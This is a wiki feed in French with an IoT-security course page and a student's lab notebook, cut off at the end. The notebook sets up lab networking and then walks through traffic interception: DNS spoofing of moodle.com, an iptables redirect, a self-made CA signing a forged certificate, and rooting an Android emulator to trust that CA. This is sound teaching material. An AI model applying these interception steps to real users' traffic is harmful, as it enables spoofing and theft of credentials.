<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
	<id>https://wiki-se.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Vdetrez</id>
	<title>wiki-se.plil.fr - Contributions [fr]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki-se.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Vdetrez"/>
	<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php/Sp%C3%A9cial:Contributions/Vdetrez"/>
	<updated>2026-04-17T02:01:21Z</updated>
	<subtitle>Contributions</subtitle>
	<generator>MediaWiki 1.39.1</generator>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026&amp;diff=11846</id>
		<title>SE5 IdO sécurité des objets 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026&amp;diff=11846"/>
		<updated>2026-01-29T22:30:58Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Répartition des binômes pour le module de sécurité des objets */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Infrastructure réseau pour 2025/2026 =&lt;br /&gt;
&lt;br /&gt;
== Serveur virtuel ==&lt;br /&gt;
&lt;br /&gt;
Créez un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; par binôme. Préfixez le nom du serveur par &amp;lt;code&amp;gt;SE5-&amp;lt;/code&amp;gt;. Le serveur doit avoir une unique interface dans le commutateur virtuel &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Prenez une adresse IPv4 à partir de &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et utilisez, comme routeur, l'adresse IPv4 &amp;lt;code&amp;gt;172.26.145.251&amp;lt;/code&amp;gt;. Le routeur à cette adresse est configuré pour faire passer vos machines par un dispositif de type mascarade.&lt;br /&gt;
&lt;br /&gt;
Par la suite ajoutez à votre serveur une interface dans le VLAN &amp;lt;code&amp;gt;400+X&amp;lt;/code&amp;gt; numérotée dans le sous-réseau IPv4 &amp;lt;code&amp;gt;172.16.X.0/24&amp;lt;/code&amp;gt;. Bien entendu &amp;lt;code&amp;gt;X&amp;lt;/code&amp;gt; est différent d'un binôme à l'autre (et &amp;lt;code&amp;gt;X&amp;lt;/code&amp;gt;&amp;gt;1).&lt;br /&gt;
&lt;br /&gt;
== Point d'accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
Installez un ou plusieurs point d'accès WiFi Cisco sur un port de commutateur en mode trunk. Tentez d'associer une adresse d'administration à ce point d'accès dans le VLAN 50 (adresse d'administration en &amp;lt;code&amp;gt;172.26.145.Y&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&lt;br /&gt;
Créez un SSID associé à votre VLAN et configuré pour une identification par WPA2-PSK.&lt;br /&gt;
&lt;br /&gt;
De plus implantez les services suivant sur votre serveur virtuel :&lt;br /&gt;
* configuration par DHCP pour les clients WiFi, utilisez les adresses d'octet de poids faible &amp;lt;code&amp;gt;100&amp;lt;/code&amp;gt; à &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; du réseau IPv4 de votre VLAN privé. Donner l'adresse de votre machine mandataire comme routeur par défaut et comme serveur DNS ;&lt;br /&gt;
* Implanter un serveur DNS minimal sur votre serveur virtuel (DNS transitaire ou DNS forwarder en patoi) ;&lt;br /&gt;
* Implanter une mascarade sur votre serveur virtuel entre votre VLAN privé et le routeur du réseau des salles de projets.&lt;br /&gt;
&lt;br /&gt;
Vous pouvez tester la visibilité de votre SSID, l'identification WiFi, le serveur DHCP et enfin l'accès à Internet en utilisant votre téléphone portable ou la carte WiFi des zabeth.&lt;br /&gt;
&lt;br /&gt;
= Interception de flux =&lt;br /&gt;
&lt;br /&gt;
L'étude d'applications mobiles peut passer par la redirection de flux TCP pour de la rétro-ingénierie. Deux voies sont possibles, une redirection par DNS ou une redirection de flux TCP vers un port local.&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
&lt;br /&gt;
Ajoutez une zone primaire à votre serveur DNS avec le nom Internet que vous souhaitez rediriger vers votre machine locale.&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&lt;br /&gt;
Ajoutez des règles &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;nftables&amp;lt;/code&amp;gt; pour rediriger un flux TCP vers un port local.&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
En régle générale, c'est un flux HTTPS que vous souhaitez rediriger, vous avez donc besoin d'un serveur Web local en mode sécurisé (HTTPS).&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
La redirection de flux HTTPS est problématique à cause de la protection par certificat X509. Pour contourner cette protection, une solution consiste à ajouter des autorités de certification sur l'appareil où l'application mobile est installée. Pour ce faire il est probable qu'il faille un contrôle important sur l'OS de l'appareil. Comme vous pouvez rechigner à rooter votre mobile, une machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; semble adaptée. &lt;br /&gt;
&lt;br /&gt;
Il vous est proposé de tester de créer une machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; soit par émulation d'un ARM en utilisant &amp;lt;code&amp;gt;QEMU&amp;lt;/code&amp;gt; sur un PC ordinaire soit en utilisant &amp;lt;code&amp;gt;KVM&amp;lt;/code&amp;gt; sur une Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
= Répartition des binômes pour le module de sécurité des objets =&lt;br /&gt;
&lt;br /&gt;
Donnez les élèves dans chaque binôme.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! Nom du serveur virtuel !! N° du VLAN&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b1 | Cahier b1]] || Victorien Détrez || SE5.vdetrez || n°410&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b2 | Cahier b2]] || Kaoutar El Bachiri || SE5-kelbachi || n°409&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b3 | Cahier b3]] || Heriniaina Raissa Andrianirintsoa || SE5-handrian || n°411&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b4 | Cahier b4]] || Abdel Zongo || SE5-azongo || n°404&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b5 | Cahier b5]] || Chaymae Rhanim || SE5-crhanim || n°408&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=11319</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=11319"/>
		<updated>2026-01-24T09:14:35Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Envoi de fausses informations vers l'application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi et  sécurisation WiFi par WPA2-PSK (29/09) =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sur le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommée CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du PC qui est simulée comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai pu donc pu faire face:&lt;br /&gt;
&lt;br /&gt;
- À un ISO sans les services Google et sans navigateur ...&lt;br /&gt;
&lt;br /&gt;
- Un trop ancien pour Nedis&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse l'installation d'APK&lt;br /&gt;
&lt;br /&gt;
- Un trop récent pour l'installation de certificat.&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse de se laisser root&lt;br /&gt;
&lt;br /&gt;
En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois-ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai donc routé mon téléphone avec l'utilitaire Magisk en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque démarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouté dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
